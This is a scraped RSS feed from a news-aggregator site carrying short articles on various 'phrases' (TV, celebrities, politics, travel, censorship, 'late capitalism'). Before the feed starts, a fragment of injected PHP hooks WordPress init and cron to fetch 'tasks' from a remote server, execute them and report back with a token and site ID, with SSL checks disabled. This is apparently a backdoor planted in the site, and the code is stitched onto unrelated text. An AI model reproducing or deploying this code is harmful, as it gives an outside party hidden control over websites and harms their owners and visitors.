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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); phrase – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 14 Nov 2019 05:42:23 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png phrase – Brief News https://briefnews.eu 32 32 The Handmaid’s Tale season 4: Sickening meaning behind this Gilead phrase will shock fans https://briefnews.eu/the-handmaids-tale-season-4-sickening-meaning-behind-this-gilead-phrase-will-shock-fans/ https://briefnews.eu/the-handmaids-tale-season-4-sickening-meaning-behind-this-gilead-phrase-will-shock-fans/#respond Thu, 14 Nov 2019 05:42:23 +0000 http://briefnews.eu/the-handmaids-tale-season-4-sickening-meaning-behind-this-gilead-phrase-will-shock-fans/

Fans of the series will know that the handmaids were forced to wear red after Gilead took over.

With the reasoning behind the uniform being that the colour symbolises fertility, it seems no accident the little girls were seen sporting the colour in the flashback clue.

The little girls wearing red were seen more than once, the fan added: “One is when June and Luke are sitting and talking and it happens again in another flashback but I’m having trouble recalling.

“They are just out of focus, but the camera lingers on them long enough for it to be obviously intentional.”

The Handmaid’s Tale season three is now available to stream on Hulu.

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]]> https://briefnews.eu/the-handmaids-tale-season-4-sickening-meaning-behind-this-gilead-phrase-will-shock-fans/feed/ 0 Ariana Grande revealed the name of her new album, and it’s a phrase she used to diss Pete Davidson https://briefnews.eu/ariana-grande-revealed-the-name-of-her-new-album-and-its-a-phrase-she-used-to-diss-pete-davidson/ https://briefnews.eu/ariana-grande-revealed-the-name-of-her-new-album-and-its-a-phrase-she-used-to-diss-pete-davidson/#respond Sun, 04 Nov 2018 09:55:44 +0000 http://briefnews.eu/ariana-grande-revealed-the-name-of-her-new-album-and-its-a-phrase-she-used-to-diss-pete-davidson/ Ariana GrandeKevin Winter /Getty

In a Saturday morning series of Tweets, Ariana Grande confirmed the name of her next album will be “Thank U, Next,” a phrase that the singer previously used to diss her ex-fiancé Pete Davidson.

When a fan asked, “Is thank u, next gonna be the last track of the album?” Grande responded with, “Yes.” 

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]]> https://briefnews.eu/ariana-grande-revealed-the-name-of-her-new-album-and-its-a-phrase-she-used-to-diss-pete-davidson/feed/ 0 Activists projected the phrase, ‘Kavanaugh is a sexual predator’ onto a courthouse building in Washington https://briefnews.eu/activists-projected-the-phrase-kavanaugh-is-a-sexual-predator-onto-a-courthouse-building-in-washington/ https://briefnews.eu/activists-projected-the-phrase-kavanaugh-is-a-sexual-predator-onto-a-courthouse-building-in-washington/#respond Wed, 26 Sep 2018 13:10:34 +0000 http://briefnews.eu/activists-projected-the-phrase-kavanaugh-is-a-sexual-predator-onto-a-courthouse-building-in-washington/ Kavanaugh protestAlex Brandon/AP

  • The message, “Kavanaugh is a sexual predator,” was projected onto a US Court of Appeals building in Washington.
  • The women’s rights group reportedly responsible for the message on Tuesday night is called UltraViolet. It previously projected the message, “Roe V Wade is more popular than Brett Kavanaugh” onto the front of the Supreme Court building.
  • At least two different women have accused Kavanaugh of sexual assault and misconduct as he looks to be confirmed to the nation’s highest court.

The women’s rights group, UltraViolet, projected the words “Kavanaugh is a sexual predator” onto a courthouse building in Washington, DC.

The incident happened Tuesday night, amid preparations for a Senate Judiciary hearing Thursday, where Kavanaugh is expected to formally answer to allegations from Christine Blasey Ford, who said Kavanaugh sexually assaulted her when they were teenagers in the 1980s.

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]]> https://briefnews.eu/activists-projected-the-phrase-kavanaugh-is-a-sexual-predator-onto-a-courthouse-building-in-washington/feed/ 0 Flight secrets: How THIS two-word phrase will get you upgraded to first class https://briefnews.eu/flight-secrets-how-this-two-word-phrase-will-get-you-upgraded-to-first-class/ https://briefnews.eu/flight-secrets-how-this-two-word-phrase-will-get-you-upgraded-to-first-class/#respond Wed, 07 Mar 2018 18:20:01 +0000 http://briefnews.eu/flight-secrets-how-this-two-word-phrase-will-get-you-upgraded-to-first-class/

Flight secrets have revealed many fascinating ways to get upgraded on a plane.

From the best time to ask, to what clothing to wear, it can be difficult to know how to get that ‘yes’ answer.

A frequent traveller has revealed the secret phrase she uses to get an upgrade every time she flies.

It is something many passengers may have never heard of before.

British author Tilly Bagshawe explained to Bloomberg how she says a certain sentence when calling the airline before boarding.

She explains how using the phrase “revenue management” can convince them to release first class seats.

Ms Bagshawe asks the airline: “Have revenue management released any first-class seats for miles upgrades yet?”

If they say no, she says to ask to be “put through to revenue management”.

With it being an unknown phrase for most travellers, she explains that it makes passengers look like “someone who knows how things work and understands how seats are released”.

Revenue management is where the profits of an airline are handled, which is why they may be aware of when first class upgrades can be offered.

However, an expert in the industry has refuted the claim that this works.

Henry Harteveldt, an aviation analyst, explained to Business Insider how it will most likely only be available to fliers who have a high amount of air miles.

He told Business Insider: “Asking a reservations agent to check with the airline’s Revenue Management department will probably result in the agent muting her line while she laughs at the requests.

“Very few airlines allow their reservations agents to either contact Revenue Management or [transfer] a reservation to that department for upgrades.”

The best time to ask for a free flight upgrade is not when checking in, despite passengers usually attempting this.

A flight attendant explains it is best to ask when on the plane.

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]]> https://briefnews.eu/flight-secrets-how-this-two-word-phrase-will-get-you-upgraded-to-first-class/feed/ 0 Immortality, disagree, emigrate, and personality cult — here’s every word and phrase China censored after criticism of Xi Jinping’s potentially unending reign https://briefnews.eu/immortality-disagree-emigrate-and-personality-cult-heres-every-word-and-phrase-china-censored-after-criticism-of-xi-jinpings-potentially-unending-reign/ https://briefnews.eu/immortality-disagree-emigrate-and-personality-cult-heres-every-word-and-phrase-china-censored-after-criticism-of-xi-jinpings-potentially-unending-reign/#respond Fri, 02 Mar 2018 00:37:49 +0000 http://briefnews.eu/immortality-disagree-emigrate-and-personality-cult-heres-every-word-and-phrase-china-censored-after-criticism-of-xi-jinpings-potentially-unending-reign/ Xi Jinping china president sign billboardGREG BAKER/AFP/Getty Images

Earlier this week China announced it would be ending term limits for its president.

That means President Xi Jinping, who was limited to two five-year terms like nearly all of his predecessors, can rule indefinitely.

The change sparked a backlash online, with criticism flooding local Weibo and WeChat platforms.

Unsurpringly, popular phrases were soon being censored and searches for these terms turned up zero results.

But the amount of censored content has grown in the last few days, to encompass popular terms that are both positive and critical of Xi. Even the letter ‘N’ was banned at one point.

Here’s nearly every phrase that’s been banned so far:

I oppose

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Disagree

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Personality cult

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Britons heading on holiday don’t always learn the language of the country before arriving.

A whopping 27 per cent of holidaymakers refuse to learn the language before heading on holiday, as ‘everyone speaks English’.

http://www.express.co.uk/travel/articles/806898/language-abroad-holiday

However, some phrases have now been revealed to be much more dangerous than previously thought.

Some of the common terms could cause problems that could even leave travellers with a huge fine.

The worst phrase a traveller could use is in Germany when attempting to speak to a policeman.

Whilst the correct term is ‘sie’, many may use the informal ‘du’ which, when talking to a government official, could leave travellers with a fine as big as €500.

Offering to say ‘bon appetite’ in France to someone is also considered highly rude and improper.

The taboo word means to invite diners to ‘good digestion’, suggesting they are so hungry they will jump at any food, embarrassingly. 

The survey by language-learning app Babbel compiled some of the worst words to use abroad.

For example, ‘mamma mia’ in Italy and ‘sacrebleu’ in France are very outdated and never used in conversation.

Using ‘garçon’ in France is also considered very rude and patronising when in a restaurant, despite Britons using the phrase in an attempt to embrace the language.

Others to avoid are ‘hasta la vista’ in Spain and ‘ooh la la’ in France, as both are not what British tourists think they may mean.

A recent poll found that half of Britons admit to being embarrassed for not speaking the foreign language.

Vicky Gough, schools adviser at the British Council, previously commented: “The reality is that having more of us being able to speak at least a little of a foreign language is good for the UK’s long-term competitiveness, particularly as the country comes to reposition itself on the world stage.

Babbel’s recent campaign, “Be A Better Brit Abroad” showed how tourists could be missing out when not learning the language.

Some could have even been given a free yacht if they had understood it.

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]]> https://briefnews.eu/british-tourists-using-this-common-foreign-phrase-abroad-could-end-up-paying-e500/feed/ 0 Trump Was Proud Of Himself For Coming Up With A Phrase That He Definitely Did Not Come Up With https://briefnews.eu/trump-was-proud-of-himself-for-coming-up-with-a-phrase-that-he-definitely-did-not-come-up-with/ https://briefnews.eu/trump-was-proud-of-himself-for-coming-up-with-a-phrase-that-he-definitely-did-not-come-up-with/#respond Thu, 11 May 2017 14:05:20 +0000 http://briefnews.eu/trump-was-proud-of-himself-for-coming-up-with-a-phrase-that-he-definitely-did-not-come-up-with/

1. President Trump gave an extensive interview to The Economist about economic policy on May 4.

President Trump gave an extensive interview to The Economist about economic policy on May 4.

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On Thursday, The Economist released a lightly edited transcript of the interview where treasury secretary Steve Mnuchin and director of the National Economic Council Gary Cohn were also present.

2. While talking about his tax reform plan, Trump used the phrase “priming the pump” and claimed that he came up with it “a couple of days ago.” Except that the phrase dates back to the early 19th century, according to, you know, the dictionary.

While talking about his tax reform plan, Trump used the phrase

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Trump asked the editors from The Economist if they had had heard of the expression “prime the pump” and whether they understood it.

The Economist editors repeatedly assured him they had heard of it and even told him that the phrase was “very Keynsesian.”

Trump asked again, “Have you heard that expression used before? Because I haven’t heard it. I mean, I just… came up with it a couple of days ago and I thought it was good.”

3. But it turns out the only way Trump came up with this phrase a couple days ago is if he is a time traveler.

4. Merriam-Webster — which has been known to troll the president frequently — explained that “pump priming” has been used to refer to government investment expenditures since at least 1933.

11. It was really impressive how people just came up with these expressions.

It was really impressive how people just came up with these expressions.

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]]> https://briefnews.eu/trump-was-proud-of-himself-for-coming-up-with-a-phrase-that-he-definitely-did-not-come-up-with/feed/ 0 Why the Phrase ‘Late Capitalism’ Is Suddenly Everywhere https://briefnews.eu/why-the-phrase-late-capitalism-is-suddenly-everywhere/ https://briefnews.eu/why-the-phrase-late-capitalism-is-suddenly-everywhere/#respond Tue, 02 May 2017 10:18:17 +0000 http://briefnews.eu/why-the-phrase-late-capitalism-is-suddenly-everywhere/ A job advertisement celebrating sleep deprivation? That’s late capitalism. Free-wheeling Coachella outfits that somehow all look the same and cost thousands of dollars? Also late capitalism. Same goes for this wifi-connected $ 400 juicer that does no better than human hands, Pepsi’s advertisement featuring Kendall Jenner, United Airlines’ forcible removal of a seated passenger who just wanted to go home, and the glorious debacle that was the Fyre Festival. The phrase—ominous, academic, despairing, sarcastic—has suddenly started showing up everywhere.

This publication has used “late capitalism” roughly two dozen times in recent years, describing everything from freakishly oversized turkeys to double-decker armrests for steerage-class plane seats. The New Yorker is likewise enamored of it, invoking it in discussions of Bernie Sanders and fancy lettuces, among other things. There is a wildly popular, year-old Reddit community devoted to it, as well as a Facebook page, a Tumblr, and a lively Twitter hashtag. Google search interest in its has more than doubled in the past year.

“Late capitalism,” in its current usage, is a catchall phrase for the indignities and absurdities of our contemporary economy, with its yawning inequality and super-powered corporations and shrinking middle class. But what is “late capitalism,” really? Where did the phrase come from, and why did so many people start using it all of a sudden?

For my own part, I vaguely remembered it coming from the writings of Karl Marx—the decadence that precedes the revolution? I polled a few friends, and they all sort of remembered the same thing, something to do with 19th-century Europeans and the inherent instability of the capitalist system. This collective half-remembering turned out to be not quite right. “It’s not Marx’s term,” William Clare Roberts, a political scientist at McGill University, told me.

Rather, it was Marxist thinkers that came up with it to describe the industrialized economies they saw around them. A German economist named Werner Sombart seems to have been the first to use it around the turn of the 20th century, with a Marxist theorist and activist named Ernest Mandel popularizing it a half-century later. For Mandel, “late capitalism” denoted the economic period that started with the end of World War II and ended in the early 1970s, a time that saw the rise of multinational corporations, mass communication, and international finance. Roberts said that the term’s current usage departs somewhat from its original meaning. “It’s not this sense that things are getting so bad that the revolution is going to come,” he told me, “but rather that we see the ligaments of the international system that socialists will be able to seize and use.”

Mandel did warn about the forces of automation, globalization, and wage stagnation, and feared that they would tear at the social fabric by making workers miserable. Still, during the period that he defined as “late capitalism,” the American middle class was flourishing and Europe was healing. “There is an irony to it being [originally] used to refer to the one time things were going well for a while,” Richard Yeselson, a contributing editor at Dissent and an expert on the labor movement, told me, riffing on the term.

“Late capitalism” took on a darker connotation in the works of the 20th-century critical theorists, who borrowed from and critiqued and built on Marx and the Marxists. Members of the Frankfurt School, reeling from the horrors of World War II, saw in it excessive social control on the part of big government and big business. Theodor Adorno argued that “late capitalism” might lead not to socialism, but away from it, by blunting the proletariat’s potential for revolution. “The economic process continues to perpetuate domination over human beings,” he said in a speech on late capitalism in 1968. (If only he could have seen the Jenner-Pepsi ad.)

It was Duke University’s Fredric Jameson who introduced the phrase to a broader English-speaking audience of academics and theorists. “It was a much older and more popular term in German,” Jameson told me. (Spätkapitalismus, for those wondering.) “It’s very interesting! It’s kind of—how should I say it—symptomatic of people’s feelings about the world. About society itself,” he said, a little surprised and a little chuffed to hear that the term was finding wider appreciation. “It used to be a sort of taboo outside of the left to even mention the word ‘capitalism.’ Now it’s pretty obvious that it’s there, and that’s what it is.”

In his canonical 1984 essay and 1991 book, both titled Postmodernism, or the Cultural Logic of Late Capitalism, Jameson argued that the globalized, post-industrial economy had given rise to postmodernist culture and art. Everything, everywhere, became commodified and consumable. High and low culture collapsed, with art becoming more self-referential and superficial. He told me he saw late capitalism as kicking into gear in the Thatcher and Reagan years, and persisting until today. “It has come out much more fully to the surface of things,” he said, citing the flash crash, derivatives, and “all this consumption by mail.”

It took the emergence of a new, tenacious left to jailbreak it from the ivory tower and push it into wider use. In the wake of the Great Recession, the protestors of the Occupy movement occupied; the Sanders campaign found real, unexpected traction; the Fight for $ 15 helped convince 19 states and cities to boost their minimum wages up to $ 15 an hour. Editors and writers on the left founded or expanded publications like Jacobin, The New Inquiry, and n+1.

Those cerebral outlets helped to fuel renewed interest in Marx and critical theory, as well as late capitalism. David Graeber, a leading figure in Occupy and the coiner of the phrase “We are the 99 percent,” for instance, wrote a long essay for The Baffler that touched on Jameson, Mandel, corporate profitability, flying cars, and, of course, late capitalism. The novel A Young Man’s Guide to Late Capitalism came out to good reviews in 2011. Pop-scholarly uses of the phrase started showing up in more mainstream publications, soaked up, as though by osmosis, from these publications and thinkers on the far left.

The same happened on social media, itself growing rapidly as the recession gave way to the recovery. There were just a handful of mentions of “late capitalism” on Twitter before 2009, a few hundred in that year, and perhaps a few thousand in the next, many referring to college coursework.

In 2011, with Occupy taking over Zuccotti Park, it started to take off.

Now, it is everywhere, in thousands of social-media posts and listicles aimed at Millennials and news stories about modern malaise.

Over time, the semantics of the phrase shifted a bit. “Late capitalism” became a catchall for incidents that capture the tragicomic inanity and inequity of contemporary capitalism. Nordstrom selling jeans with fake mud on them for $ 425. Prisoners’ phone calls costing $ 14 a minute. Starbucks forcing baristas to write “Come Together” on cups due to the fiscal-cliff showdown.

This usage captures the resurgent left’s anger over the recovery and the inequality that long preceded it—as well as the rage of millions of less politically engaged Americans who nevertheless feel left out and left behind. “I think it’s popular again now because the financial crisis and subsequent decade has really stripped away a veneer on what’s going on in the economy,” Mike Konczal, a fellow at the Roosevelt Institute, told me. “Austerity, runaway top incomes, globalization, populations permanently out of the job market, competition pushed further into our everyday lives. These aren’t new, but they have an extra cruelty that is boiling over everywhere.”

The current usage also captures the perceived froth and foolishness of Silicon Valley. The gig economy in particular provides plenty of late-capitalist fodder, with investors showering cash on platforms to create cheap services for the rich and lazy and no-benefit jobs for the eager and poor. At the same time, traditional jobs seem to be providing less in the way of security, stability, and support, too. “There’s this growing discussion about how work is changing,” Carrie Gleason of the Fair Workweek Initiative told me. “The idea of what stable employment is, or what we can expect in terms of stable employment, is changing. That’s part of this.”

“Late capitalism” skewers inequality, whether businesses’ feverish attempts to sell goods to the richest of the rich (here’s looking at you, $ 1,200 margarita) or to provide less and less to the rest (hey, airlines that make economy customers board after pets). It lampoons brands’ attempts to mimic or co-opt the language, culture, and content of their customers. Conspicuous minimalism, curated and artificial moments of zen, the gaslighting of the lifehacking and wellness movements: This is all late capitalism.

Finally, “late capitalism” gestures to the potential for revolution, whether because the robots end up taking all the jobs or because the proletariat finally rejects all this nonsense. A “late” period always comes at the end of something, after all. “It has the constant referent to revolution,” Roberts said. “‘Late capitalism’ necessarily says, ‘This is a stage we’re going to come out of at some point, whereas ‘neoliberalism’ doesn’t say that, ‘Shit is fucked up and bullshit’ doesn’t say that. It hints at a sort of optimism amongst a post-Bernie left, the young left online. Something of the revolutionary horizon of classical Marxism.”

It does all this with a certain concision, erudition, even beauty. It’s ominous and knowing, brainy and pissed-off. “Now is a crazy political time,” Yeselson said. “It’s Trump. It’s Brexit. It’s whatever is going on in France. Why talk about capitalism when nothing seems to be shaken up? But now things are shaken up. Let’s allude to the big, giant, totalistic system that is underneath everything. And let’s give it more than a hint of foreboding. Late capitalism. Late is so pregnant.”

That it has strayed so far from its original meaning? Nobody I spoke with seemed to care, Jameson included, and the phrase has always had a certain malleability anyway. Sombart’s late capitalism differed from Mandel’s differed from Adorno’s differed from Jameson’s. “Late capitalism” often seems more like “the latest in capitalism,” Konczal quipped.

This late capitalism is today’s, then. At least until the brands get ahold of it.

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]]> https://briefnews.eu/why-the-phrase-late-capitalism-is-suddenly-everywhere/feed/ 0 Trump used the phrase ‘my military’ — a former US defense secretary was not amused https://briefnews.eu/trump-used-the-phrase-my-military-a-former-us-defense-secretary-was-not-amused/ https://briefnews.eu/trump-used-the-phrase-my-military-a-former-us-defense-secretary-was-not-amused/#respond Fri, 14 Apr 2017 05:36:24 +0000 http://briefnews.eu/trump-used-the-phrase-my-military-a-former-us-defense-secretary-was-not-amused/ leon panetta MSNBCScreenshot via MSNBC

President Donald Trump ruffled some feathers on Thursday with his choice of words when describing an overseas military operation.

The comments came when a White House press pool reporter asked Trump if he had personally authorized the deployment of the 21,000-pound bomb that was dropped on an ISIS tunnel complex.

“Everybody knows exactly what happened. What I do is I authorize my military,” Trump said. “We have the greatest military in the world and they’ve done a job as usual. So we have given them total authorization.”

The phrase “my military” stuck out to members of the defense community, some of whom did not appreciate Trump’s use of the possessive pronoun. Chief among them was Leon Panetta, a former defense secretary and CIA director who served under President Barack Obama.

“When it comes to the military, the military belongs to the country. Our defense system belongs to the country. And it’s not the president’s military, it’s the military of the United States of America,” Panetta said on MSNBC’s “Hardball with Chris Matthews.”

“He has responsibility obviously, as commander in chief, to be able to make decisions with regards to our military. But I think if you ask the men and women in uniform who they are responsible to, I think their answer would be, ‘We’re responsible to the United States of America.'”

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